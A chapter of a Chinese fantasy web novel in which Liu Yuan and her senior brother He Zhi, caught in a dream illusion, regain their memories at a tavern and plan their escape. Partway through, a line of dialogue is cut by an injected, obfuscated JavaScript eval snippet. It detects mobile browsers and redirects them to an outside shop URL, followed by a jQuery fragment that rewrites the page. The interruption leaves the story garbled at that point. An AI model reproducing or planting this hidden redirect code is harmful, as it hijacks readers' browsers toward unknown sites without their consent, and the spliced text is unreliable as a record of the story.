魇兽轻笑了两声,不再作答。
柳沅眼前一黑失去了意识,在最后关头摸了摸自己的香囊。
——
风声在耳边响起,柳沅睁开眼,一片水光潋滟的景象跃入眼帘。
这是哪里?
她摸摸自己的脖子有些疑惑,自己不是在家小憩吗?怎么一睁眼就到了这个地方?
杨柳依依,枝条在湛蓝的空中飘摇,水面的浮光像绸缎。
柳沅四处看了下,不记得自己是什么时候来到的这里,也不知道该怎么走,奇怪的是她并不着急,只在原地静静站着。
风质地柔软,柳沅感觉自己又有些困。
“好久不见!”身后一道高昂的声音传来,柳沅感觉自己喜不自胜,下意识回眸,唇角噙着一抹淡淡的笑容。
身后的人快步走了过来,长臂一伸搭在柳沅肩上,笑声爽朗:“柳兄好久不见!今日我们不醉不归!”
柳沅感觉自己脑子中闪过了什么,但很快就消失不见。她不自觉笑着回答:“定要饮个痛快!”
两人勾肩搭背往酒楼走去,背后留下一地碎金。
等坐在酒楼桌子上,柳沅才发现还有两个人在场,这两个人已经几杯酒下肚开始不太清醒了,此时笑嘻嘻地在划拳。
见柳沅前来,他们热情地招呼着,给柳沅和新来的一人倒了一大杯酒。
柳沅端起酒,神色自然,全然已经忘记了自己刚开始的疑惑。
推杯换盏间夜色已深,她开始想回家的路,只觉得头疼。
最后还是醉倒后友人送她回的家。
柳沅总感觉这间房子说不上来的陌生,检查了几遍又觉得确实是她的家。
她看了一下有些简陋的房子,发黑的墙面有些潮,墙角还堆着稻草,最后实在是头疼,躺在床上后沉沉睡去。
翌日,清晨。
阳光从窗缝里透进来,柳沅睫毛颤动,最终翻个身坐了起来。
她心情有点好,自在地拾了下墙边的稻草后,动身往城西码头赶过去,今日她要搬货,可不能迟到。
在路上柳沅愉快地哼起歌,她也不知道为什么这么高兴,像做了一场美梦一样。
到了地方,柳沅觉得自己好像很适合干这个,动作利落力气十足。
快到晌午,旁边的人悄声交谈起来,柳沅好奇地问:“发生什么事了?”
那人乐呵呵看了她一眼,拍了拍手里的灰说:“一会儿州令长要来巡查,干得好会给我们发赏钱。”
柳沅高兴起来,感觉自己搬货的动作又有劲了几分。
她像是突然想起了什么似的,大大咧咧地擦了下汗,又继续问倒:“这位兄台知道罗浮梦吗?”
柳沅是突然想起了这个名字的,她总感觉自己应知道这个人,可又实在想不起来。
在旁边搬货的壮汉斜了她一眼,冷嗤道:“罗大才女谁人不知谁人不晓。”
原来是一个大名鼎鼎的才女。
柳沅有些茫然,还是感觉脑子里空空的,她觉得自己可能需要看大夫了。
不过几句话的时间,她们口中的州令长就来了,柳沅感觉自己应该是第一次见到州令长这样的大官,她有点意外居然是这么年轻的人。
不过为什么脸上要画一朵花?
这是什么特殊的爱好吗?柳沅有些稀奇,她左顾右盼发现大家都面色如常,只好按住想要询问的心。
这一插曲很快就过去了,太阳拖着红色长尾离开,水面被染上漂亮的胭脂色。
柳沅收工后空着大脑漫步,最后竟然又走到了昨日跟友人喝酒的地方。
她想了想抬起步子迈了进去,刚打算寻一个角落坐下,就被大厅中间的人拉了过去。
柳沅刚想拒绝,发现是昨天的友人,只觉得好巧。
友人面色轻松,举起一杯酒对柳沅潇洒说:“从今往后我就不离开家乡出去打拼了。”
柳沅感觉自己心怦怦跳,眼眶也有一点湿润,她回敬道:“既然如此,那我们可就能日日喝酒游玩了。”
对面的人开怀大笑,一杯饮尽。
几杯酒下肚,柳沅感觉自己面上有些发烫,对面的友人也已经开始手舞足蹈,柳沅趴在桌子上醉倒过去,迷迷糊糊之际还在努力把眼睛睁开。
一阵琴音传来,柳沅在睡梦中吧唧了下嘴。
不知过去了多久,柳沅被一声怒喝惊醒,她抬起头一看,竟然是有人在调戏弹琴的小娘子。
不过一个抬眼的时间,柳沅又发现那人竟然是刚刚跟自己对酒当歌的友人。
她有一些懵,瞪大双眼不可置信。
站在不远处喝止友人的碰巧是今天中午刚见过的州令长,柳沅感觉头有点晕,眼前的一切都让她感觉到很离谱。
“云泽怎么会有你这样的败类!”州令长十分气愤地在训斥着闹事的人,风吹起他的墨色长发,柳沅无端觉得熟悉。
云泽,闹事,酒楼,琴声。
这几个词在柳沅脑子中转了一圈,她猛地站起身来,对跌坐在的女子拔高声音喊道:“燕娘?”
燕娘的声音跟她一同响起,带着娇软的的婉转:“奴家名唤燕娘。”
柳沅感觉遮住记忆的雾一下子被吹散,头脑瞬间清明,她三步并成两步走过去,抬眼看向朝州令长——也就是贺致。
对方显然并未清醒,贺致看着突然走过来的壮汉有些疑惑,这是来为这个酒鬼朋友撑腰?可是错了就是错了,喝酒并不能成为理由。
想到这里贺致眼神一利,防备着身边这个人。
柳沅见他还不清醒,咬咬牙喊了一声师兄,她语速飞快把师门关系从归元背到了毛球。
贺致听到师兄就反应过来了,头一痛,耳朵边上还是柳沅的碎碎念,他抬手扶了下额头。
等再次睁开眼后,贺致已经全部想起来了,他这个师兄竟然还没有师妹反应得快,这让他不由得有些脸红。
外人并不懂这几个瞬间发生了什么,他们只觉得哪里好像不一样了,并且十分不理解为什么自己家风度翩翩的州令长跟一个糙汉站得这么近。
在两个人恢复记忆的时候,双方眼里容貌就已经变回来了,只不过在别人眼里还是原身的样子。
贺致看着粗麻布衣的柳沅有一些卡壳,不过他还没有忘记自己在干什么,挥手让手下把犯事的人带走后,他给柳沅使了个眼色打算去外面说。
燕娘从身后扯住贺致的衣角,她眉目含情脸颊微红,羞答答地开口说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579905|204873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“多谢郎君出手相救,奴家没齿难忘。”
贺致从她手里解救回来自己的衣服,展现出一个人畜无害的笑容,语气沉稳地说:“不必放在心上,以后再遇见这样的事情来州令长府上找我,在下定会加强管制,严厉惩罚。”
对面的燕娘本来只是道谢的羞怯,听到州令长以后突然抬起了头,本来避让着的目光也直接投了过来。
“郎君可记得我?”燕娘语气急迫地问,情不自禁向前靠了半步。
贺致一时之间有些头大,他想起了现实中肖千尘的话。
“……自此以后她便说与我是总角之交,做出了些让人误会的事情。”
从现在这个样子看来当时他说是实话,不出意料,燕娘下一句话就是:“我和你自年幼起就是朋友啊,你不记得了吗?”
贺致歉意地摇摇头,后退一步跟燕娘保持距离。
他转身离开酒楼,临走前朝柳沅看了一眼。
柳沅看着这一幕回味出来了什么,她听着燕娘失魂落魄地上了楼,嘴里念叨着“怎么会忘记呢?怎么会……”这样的话。
等她完全上楼后柳沅才收回目光离开。
在柳沅出酒楼大门时她不信邪地看了一眼招牌,醉云楼三个大字挂在端端正正,好吧她信了。
早知道抬头看一眼了,她嘀咕了一下,然后才抬头找贺致在哪。
等在小巷碰面后,柳沅才开始发问:“师兄,按道理来说我们不是已经破除幻境清醒过来了吗?为什么梦境还是没有变样子?”
“不清楚。”贺致摇摇头,他这个时候才有机会问柳沅这身打扮是干什么去了。
“额,我去码头搬货了,我们中午其实还见过的。”柳沅说起这个也觉得神奇,这实在是太离谱了。
贺致回想了一下,确实有这么一回事,只不过他没仔细看下面的人。
“那现在应该整么办?”柳沅盘算着问,“要回去继续推哪出了问题吗?”
贺致也觉得发愁,他想不通为什么现在记忆恢复了梦境还没换。
柳沅给出了她记忆中的可疑点,她停住脚步回头望向醉云楼的一角飞檐:“这两天我总是莫名其妙的会来醉云楼,感觉是脑子不清醒的时候被人控制了一样,我觉得突破口可能在醉云楼。”
“我也有这样的感觉,这次的梦境跟上次很不一样,上次并没有这么强的指引意味。”贺致皱眉接话。
“或许是织梦兽的手段?”柳沅抬手摸了摸下巴,出言探讨。
贺致在身上翻翻找找,从看不见的地方摸出了熟悉的东西,柳沅这才发现梦境里的新衣服原来是起一个掩饰的作用。
在找到竹哨后,贺致接话:“有可能,现在主要是想办法从这里逃出去。”
柳沅也开始翻翻找找,终于摸到了一个看不见的香囊,她现在比较疑惑逐霜弓在哪里,莫非她一直背着?
贺致看着师妹的表情就知道她在想什么,他饶有兴趣看着柳沅往后一伸手,然后又撇了撇嘴表情一言难尽地把手收回来,不由得笑出了声。
柳沅美目一横,气鼓鼓地说:“师兄还好意思笑我,你不也没发现沧澜剑!”
就在贺致打算还嘴的时候,却发现柳沅突然变了脸色。